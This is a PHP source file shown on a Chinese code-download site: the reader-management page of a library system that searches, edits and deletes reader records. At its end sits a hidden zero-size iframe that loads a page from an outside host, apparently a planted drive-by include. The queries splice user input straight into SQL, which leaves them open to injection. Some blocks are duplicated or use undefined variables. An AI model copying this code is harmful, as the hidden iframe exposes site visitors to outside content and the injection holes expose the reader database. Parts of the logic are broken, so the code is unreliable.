⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 dzglcl.php

📁 我不是乱码
💻 PHP
字号:
<?php
include "../config.php";
?>
<link href="../css/css.css" rel="stylesheet" type="text/css">

<form action="dzglcl.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
<td width="124" height="50" align="left" class="tabletitle"> 读者管理</td>
      <td width='1' height="50" align="left" class="titlebg"></td>
      <td width="440" height="50" align="center" class="tabletitle"><span class="word">按

<?php 
echo "<select name='cx'>";
 
$sql="show columns from readerinfo";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result))
{
echo "<option value='".$row[0]."'>".$row[0]."</option>";

 }
echo "</select>";
 ?>

 查询 
<input name="name" type="text" id="name" />
 
<input type="submit" name="submit" value="查询" />
      </span></td>
      <td width="2" class="titlebg"></td>
      <td width="190" align="center" class="tabletitle"><span class="word">
       
      <input name="submit2" type="submit" id="submit2" value="修改" />
        
      </span><span class="word">
      <input name="submit3" type="submit" id="submit3" value="删除" />
      </span></td>
    </tr>
    <tr>
      <td height="2" colspan="9" class="titlebg"></td>
    </tr>
</table>    
  <table class="table" width="765">
    <tr bgcolor="#BCD2E6" height="25">

      <td width="60" align="center" class="word">操 作</td>
      <td width="80" align="center" class="word">姓 名</td>
      <td width="60" align="center" class="word">性 别</td>
      <td width="80" align="center" class="word">出生日期</td>
      <td width="120" align="center" class="word">部 门</td>
      <td width="100" align="center" class="word">职 务</td>
      <td width="60" align="center" class="word">电 话</td>
      <td width="80" align="center" class="word">借书次数</td>
      <td width="80" align="center" class="word">登记日期</td>
    </tr>

<?php

 //使用子查询,查询出选择的某个类别的读者的信息
if(!empty($_POST["submit"]))
{
$department=$_POST["cx"];
$name=$_POST["name"];

$sql="select * from readerinfo where $department like '%".$_POST["name"]."%'";

$result=mysql_query($sql) or die(mysql_error());
while($row=mysql_fetch_array($result))
{
echo "<tr bgcolor='#BCD2E6'>";
echo "<td height='20' align='center' class='word'>";
echo "<input type=radio selected name=selected value=".$row["id"].">";
echo "</td>";
echo "<td height='20' align='center' class='word'>".$row["readername"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["sex"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["birth"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["department"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["duty"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["phone"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["number"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["regdate"]."</td>";
echo "</tr>";
}
}
?>		
  </table>
</form>

<?php  
if(!empty($_POST[submit3]))   //点击删除按钮后执行
{
$sql="delete from readerinfo where id=$selected";
$result=mysql_query($sql);
if($result)
{
echo "<script language='javascript'>alert('删除成功!'); window.location.href='dzgl.php';</script>";
}
}
?>

<?php
if(!empty($_POST[submit3]))   //点击删除按钮后执行
{
$selected=$_POST["selected"];

$sql="delete from readerinfo where id=$selected";
$result=mysql_query($sql);
if($result)
{
echo "<script language='javascript'>alert('删除成功!'); window.location.href='dzgl.php';</script>";
}
}
?>

<?php
if(!empty($_POST[submit2]))   //点击修改按钮后执行
{

if($result)
{
echo "<script language='javascript'>window.location.href='dzglxg.php?selected=$_POST[selected];';</script>";
}
}
?>

<?php
if(!empty($_POST[submit7]))   //点击修改按钮后执行
{

$id=$_POST["id"];
$readername=$_POST["readername"];
$sex=$_POST["sex"];
$birth=$_POST["birth"];
$department=$_POST["department"];
$duty=$_POST["duty"];
$phone=$_POST["phone"];
$number=$_POST["number"];
$regdate=$_POST["regdate"];

if(empty($readername))
{
echo "<script language='javascript'>alert('读者姓名不能为空');history.go(-1);</script>";
}

$sql="update readerinfo set readername='$readername',sex='$sex',birth='$birth',department='$department',duty='$duty',phone='$phone',number='$number',regdate='$regdate' where id='$id'";
$result=mysql_query($sql) or die(mysql_error());

if($result)
{
echo "<script language='javascript'>alert('修改成功!'); window.location.href='dzgl.php';</script>";
}
}
?>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe> 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -